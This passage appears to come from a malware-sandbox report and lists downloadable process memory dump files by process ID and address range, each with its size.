128KB

Download
memory/820-104-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/820-106-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/864-44-0x0000000000400000-0x0000000000406000-memory.dmp

Filesize
24KB

Download
memory/864-45-0x0000000000400000-0x0000000000406000-memory.dmp

Filesize
24KB

Download
memory/964-126-0x00007FFD8C4B0000-0x00007FFD8C4C0000-memory.dmp

Filesize
64KB

Download
memory/964-125-0x00000209225A0000-0x00000209225C7000-memory.dmp

Filesize
156KB

Download
memory/1528-42-0x0000000140000000-0x0000000140004000-memory.dmp

Filesize
16KB

Download
memory/1528-43-0x0000000140000000-0x0000000140004000-memory.dmp

Filesize
16KB

Download
memory/2400-28-0x00000127D3040000-0x00000127D3041000-memory.dmp

Filesize
4KB

Download
memory/2400-27-0x00000127D3040000-0x00000127D3041000-memory.dmp

Filesize
4KB

Download
memory/2400-26-0x00000127D3040000-0x00000127D3041000-memory.dmp

Filesize
4KB

Download
memory/2400-29-0x00000127D3040000-0x00000127D3041000-memory.dmp

Filesize
4KB

Download
memory/2400-23-0x00000127D3040000-0x00000127D3041000-memory.dmp

Filesize
4KB

Download
memory/2400-25-0x00000127D3040000-0x00000127D3041000-memory.dmp

Filesize
4KB

Download
memory/2400-24-0x00000127D3040000-0x00000127D3041000-memory.dmp

Filesize
4KB

Download
memory/2400-17-0x00000127D3040000-0x00000127D3041000-memory.dmp

Filesize
4KB

Download
memory/2400-18-0x00000127D3040000-0x00000127D3041000-memory.dmp

Filesize
4KB

Download
memory/2400-19-0x00000127D3040000-0x00000127D3041000-memory.dmp

Filesize
4KB

Download
memory/4072-34-0x000001EB80300000-0x000001EB80D50000-memory.dmp

Filesize
10.3MB

Download
memory/4072-383-0x00007FFDACF93000-0x00007FFDACF95000-memory.dmp

Filesize
8KB

Download
memory/4072-1682-0x00007FFDACF90000-0x00007FFDADA51000-memory.dmp

Filesize
10.8MB

Download
memory/4072-4-0x00007FFDACF93000-0x00007FFDACF95000-memory.dmp

Filesize
8KB

Download
memory/4072-14-0x000001EBE7930000-0x000001EBE7952000-memory.dmp

Filesize
136KB

Download
memory/4072-15-0x00007FFDACF90000-0x00007FFDADA51000-memory.dmp

Filesize
10.8MB

Download
memory/4072-16-0x00007FFDACF90000-0x00007FFDADA51000-memory.dmp

Filesize
10.8MB

Download
memory/4072-31-0x000001EB90000000-0x000001EB90024000-memory.dmp

Filesize
144KB

Download
memory/4072-33-0x00007FFDCA9D0000-0x00007FFDCAA8E000-memory.dmp

Filesize
760KB

Download
memory/4072-39-0x00007FFDCC430000-0x00007FFDCC625000-memory.dmp

Filesize
2.0MB

Download
memory/4072-374-0x00007FFDACF90000-0x00007FFDADA51000-memory.dmp

Filesize
10.8MB

Download
memory/4072-32-0x00007FFDCC430000-0x00007FFDCC625000-memory.dmp

Filesize
2.0MB

Download
memory/4072-35-0x000001EB80D50000-0x000001EB80DF6000-memory.dmp

Filesize
664KB

Download
memory/4072-36-0x000001EB80E00000-0x000001EB80E56000-memory.dmp

Filesize
344KB

Download
memory/4072-37-0x000001EB80E60000-0x000001EB80EB8000-memory.dmp

Filesize
352KB

Download
memory/4072-38-0x000001EB80EC0000-0x000001EB80EE2000-memory.dmp

Filesize
136KB

Download
memory/4072-41-0x000001EB811A0000-0x000001EB811AA000-memory.dmp

Filesize
40KB

Download
memory/4156-82-0x0000025DD4210000-0x0000025DD4260000-memory.dmp

Filesize
320KB

Download
memory/4156-68-0x00007FFDCC430000-0x00007FFDCC625000-memory.dmp

Filesize
2.0MB

Download
memory/4156-69-0x00007FFDCA9D0000-0x00007FFDCAA8E000-memory.dmp

Filesize
760KB

Download
memory/4156-71-0x0000025DD3290000-0x0000025DD3816000-memory.dmp

Filesize
5.5MB

Download
memory/4156-72-0x0000025DDB8F0000-0x0000025DDC0BA000-memory.dmp

Filesize
7.8MB

Download
memory/4156-73-0x0000025DDC0C0000-0x0000025DDC4FE000-memory.dmp

Filesize
4.2MB

Download
memory/4156-74-0x0000025DDC500000-0x0000025DDC5B2000-memory.dmp

Filesize
712KB

Download
memory/4156-75-0x00007FFDCC430000-0x00007FFDCC625000-memory.dmp

Filesize
2.0MB

Download
memory/4156-96-0x00007FFDCC430000-0x00007FFDCC625000-memory.dmp

Filesize
2.0MB

Download
memory/4156-83-0x0000025DD4320000-0x0000025DD43D2000-memory.dmp

Filesize
712KB

Download
memory/4156-93-0x0000025DD45B0000-0x0000025DD4772000-memory.dmp

Filesize
1.8MB

Download
memory/4156-94-0x0000025DD4260000-0x0000025DD429C000-memory.dmp

Filesize
240KB

Download
memory/4156-98-0x0000025DD42A0000-0x0000025DD42D6000-memory.dmp

Filesize
216KB

Download
memory/4156-95-0x0000025DD41C0000-0x0000025DD420E000-memory.dmp

Filesize
312KB

Download
memory/4156-97-0x00007FFDCA9D0000-0x00007FFDCAA8E000-memory.dmp

Filesize
760KB

Download